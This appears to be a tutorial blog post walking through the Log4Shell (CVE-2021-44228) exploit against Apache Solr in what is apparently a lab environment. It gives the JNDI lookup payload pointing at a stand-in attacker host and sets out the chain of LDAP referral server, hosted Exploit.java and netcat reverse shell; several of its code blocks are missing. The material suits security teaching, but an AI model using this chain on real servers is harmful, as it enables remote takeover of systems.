The Infamous Log4J Exploit: How To

Hi Everyone! In this post, I'll explain the Log4j exploit, step-by-step!

First, we'll start off by looking at these log files, gathered from a web application running Apache Solr:

If you look carefully, there are calls made to a certain parameter in the URL of the web application. Can you spot it? 

If you look carefully, you'll see that it is /admin/cores. If you're experienced with pen testing, you can probably see where this exploit is going.

After doing an nmap scan on the target, we find that port 8983 is open. If you navigate to http://10.10.231.181:8983/, you'll see a page for Apache Solr that indicates that the application is running Log4j.

Now, we navigate to http://10.10.231.181:8983/solr/admin/cores. You'll notice that params seems to be included in the log file. 

The log4j package adds extra logic to logs by "parsing" entries, ultimately to enrich the data -- but may additionally take actions and even evaluate code based off the entry data. This is the gist of CVE-2021-44228. Other syntax might be in fact executed just as it is entered into log files. 

Some examples of this syntax are:

• ${sys:os.name}
• ${sys:user.name}
• ${log4j:configParentLocation}
• ${ENV:PATH}
• ${ENV:HOSTNAME}
• ${java:version}

You may already know the general payload to abuse this log4j vulnerability. The format of the usual syntax that takes advantage of this looks like so:

${jndi:ldap://ATTACKERCONTROLLEDHOST}

This syntax indicates that the log4j will invoke functionality from "JNDI", or the "Java Naming and Directory Interface." Ultimately, this can be used to access external resources, or "references," which is what is weaponized in this attack. 

Notice the ldap:// schema. This indicates that the target will reach out to an endpoint (an attacker controlled location, in the case of this attack) via the LDAP protocol.

We are going to try to pass parameters to /admin/cores to try to gain control of the web application. To start, fire up a listener:

Now that you have a listener staged, make a request including this primitive JNDI payload syntax as part of the HTTP parameters. This can easily be done with the curl command line utility.

You should received a connection with the message "Connection received from 10.10.231.181" from your netcat listener along with some unreadable characters. We need to upgrade this limited shell to produce a real RCE exploit.

Right now, this shell is making an LDAP request, which is why it's producing unreadable characters. We need to build an LDAP handler to complete the exploit. 

We will utilize an open-source and public utility to stage an "LDAP Referral Server". This will be used to essentially redirect the initial request of the victim to another location, where you can host a secondary payload that will ultimately run code on the target. This breaks down like so:

1. ${jndi:ldap://attackerserver:1389/Resource} -> reaches out to our LDAP Referral Server
2. LDAP Referral Server springboards the request to a secondary http://attackerserver/resource
3. The victim retrieves and executes the code present in http://attackerserver/resource

This means we will need an HTTP server, which we could simply host with any of the following options (serving on port 8000):

• python3 -m http.server
• php -S 0.0.0.0:8000
• (or any other busybox httpd or formal web service you might like)

To build an LDAP Referral Server, we can use marshalsec conveniently offered art: https://github.com/mbechler/marshalsec. 

With the marshalsec utility built, we can start an LDAP referral server to direct connections to our secondary HTTP server (which we will prepare in just a moment). You are more than welcome to dig into the usage, parameters and other settings that can be configured with this tool -- but for the sake of demonstration, the syntax to start the LDAP server is as follows:

Adjust the IP address for your attacking machine as needed. Note that we will supplied the HTTP port listening on 8000.

Now that our LDAP server is ready and waiting, we can open a second terminal window to prepare and our final payload and secondary HTTP server.

Create and move into a new directory where you might host this payload. First, create your payload in a text editor of your choice (mousepad, nano, vim, Sublime Text, VS Code, whatever), with the specific name Exploit.java:

Modify your attacker IP address and port number as appropriate (we are using 9999 as the example port number as before). Compile your payload:

With your payload created and compiled, you can now host it by spinning up a temporary HTTP server. 

Your payload is created and compiled, it is hosted with an HTTP server in one terminal, your LDAP referral server is up and waiting in another terminal -- next prepare a netcat listener to catch your reverse shell in yet another new terminal window:

Finally, all that is left to do is trigger the exploit and fire off our JNDI syntax! Note the changes in port number (now referring to our LDAP server) and the resource we retrieve, specifying our exploit:

Run the above command, and catch a reverse shell in your netcat listener!